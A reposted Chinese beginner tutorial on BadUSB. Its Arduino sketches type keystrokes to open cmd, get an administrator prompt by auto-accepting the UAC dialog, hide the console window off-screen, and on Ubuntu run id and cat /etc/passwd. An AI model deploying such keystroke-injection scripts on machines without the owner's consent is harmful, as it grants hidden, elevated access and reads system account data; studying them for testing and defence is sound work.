失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > 从零开始学badusb(2)--badusb调用命令行

从零开始学badusb(2)--badusb调用命令行

时间:2021-03-13 09:38:17

相关推荐

从零开始学badusb(2)--badusb调用命令行

上一节初步接触了badusb,这节我们学习一下怎么调用cmd

首先是windows下面

首先是简易版的

#include <Keyboard.h>void setup() {Keyboard.begin();delay(1000); Keyboard.press(KEY_LEFT_GUI); delay(500); Keyboard.print("r");delay(500);Keyboard.release(KEY_LEFT_GUI); delay(500);Keyboard.println("cmd");Keyboard.end(); } void loop() {}

这个就是大家很熟悉的win+r cmd+回车,一位内我们用的是println,所以自带回车

但很多时候我们需要的是管理员权限的cmd

那么就需要用到下面这个

#include <Keyboard.h>void setup() {Keyboard.begin();delay(1000); Keyboard.press(KEY_LEFT_GUI); delay(500); Keyboard.release(KEY_LEFT_GUI); delay(500);Keyboard.press(KEY_CAPS_LOCK);delay(500);Keyboard.release(KEY_CAPS_LOCK);delay(500);Keyboard.print("cmd.exe"); delay(500);Keyboard.press(KEY_LEFT_CTRL );Keyboard.press( KEY_LEFT_SHIFT);Keyboard.press(KEY_RETURN); delay(500); Keyboard.release(KEY_LEFT_CTRL); Keyboard.release(KEY_LEFT_SHIFT); Keyboard.release(KEY_RETURN); delay(500); Keyboard.press( KEY_LEFT_ALT );Keyboard.press('y'); delay(500); Keyboard.release(KEY_LEFT_ALT ); Keyboard.release('y'); delay(500); Keyboard.end(); } void loop() {}

首先按一下win,然后切换大小写防止中文输入

然后就会在开始栏查询cmd.exe就是我们的命令提示符

ctrl+shift+return就会弹出来一个是否使用管理员身份来运行cmd.exe

再alt+y表示确认,就可以获得一个管理员身份的命令提示符

接下来就是一个隐藏我们cmd的过程,其实也没有那么神器,只是缩小隐藏起来罢了

这个跟之前相比,平常我们运行的时候就只是cmd

CMD /q /d /f:off /v:on /k MODE con: cols=30 lines=6

这句话的理解

/q 关闭回显虽然我也不太理解关闭回显有什么效果,但是网上解释就是不显示?不太明白

/d 禁止从注册表执行 AutoRun 命令

/F:OFF 禁用文件和目录名完成字符

/V:ON 使用 ! 作为分隔符启用延迟的环境变量

MODE con: cols=30 lines=6调整行数和列数

为什么需要这些参数其实我目前也不太理解,不过慢慢看

alt+"+m就是右键点击cmd然后选择m对应的是移动

然后左键移动一会就可以看见命令行跑到窗口外面去了…

有点傻fufu的

#include<Keyboard.h>void setup() {Keyboard.begin();delay(3000);Keyboard.press(KEY_LEFT_GUI);delay(200); Keyboard.print('r');delay(200); Keyboard.release(KEY_LEFT_GUI);Keyboard.press(KEY_CAPS_LOCK);Keyboard.release(KEY_CAPS_LOCK);delay(1000); Keyboard.println("CMD /q /d /f:off /v:on /k MODE con: cols=30 lines=6");delay(1000);Keyboard.press(KEY_LEFT_ALT);delay(200); Keyboard.press(' ');delay(200); Keyboard.release(KEY_LEFT_ALT);Keyboard.release(' ');delay(200);Keyboard.print("m");Keyboard.press(KEY_LEFT_ARROW);delay(3000);Keyboard.release(KEY_LEFT_ARROW);Keyboard.println();Keyboard.end();}void loop() {}

如果有大佬可以解释一下那些参数的意义的话也非常感谢科普

然后是一个基础的ubantu下调用终端的命令

ubantu下按住start键是开始查找的功能

输入terminal回车进入命令行

pwd显示当前路径

/etc/passwd显示着系统的权限分配

id 命令可以显示真实有效的用户 ID(UID) 和组 ID(GID)。UID 是对一个用户的单一身份标识。组 ID(GID)则对应多个UID

#include<Keyboard.h>void setup() {Keyboard.begin();delay(3000);//延时Keyboard.press(KEY_LEFT_GUI);delay(200); Keyboard.release(KEY_LEFT_GUI);delay(500);Keyboard.press(KEY_CAPS_LOCK);Keyboard.release(KEY_CAPS_LOCK);delay(200); Keyboard.print("terminal");delay(3000);Keyboard.println();delay(3000);Keyboard.println("PWD");delay(1000);Keyboard.println("ID");delay(1000);Keyboard.println("CAT /ETC/PASSWD");delay(1000);Keyboard.end();}void loop() {}

注意调整delay信息,不然可能出现命令未有效执行

如果觉得《从零开始学badusb(2)--badusb调用命令行》对你有帮助,请点赞、收藏,并留下你的观点哦!

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。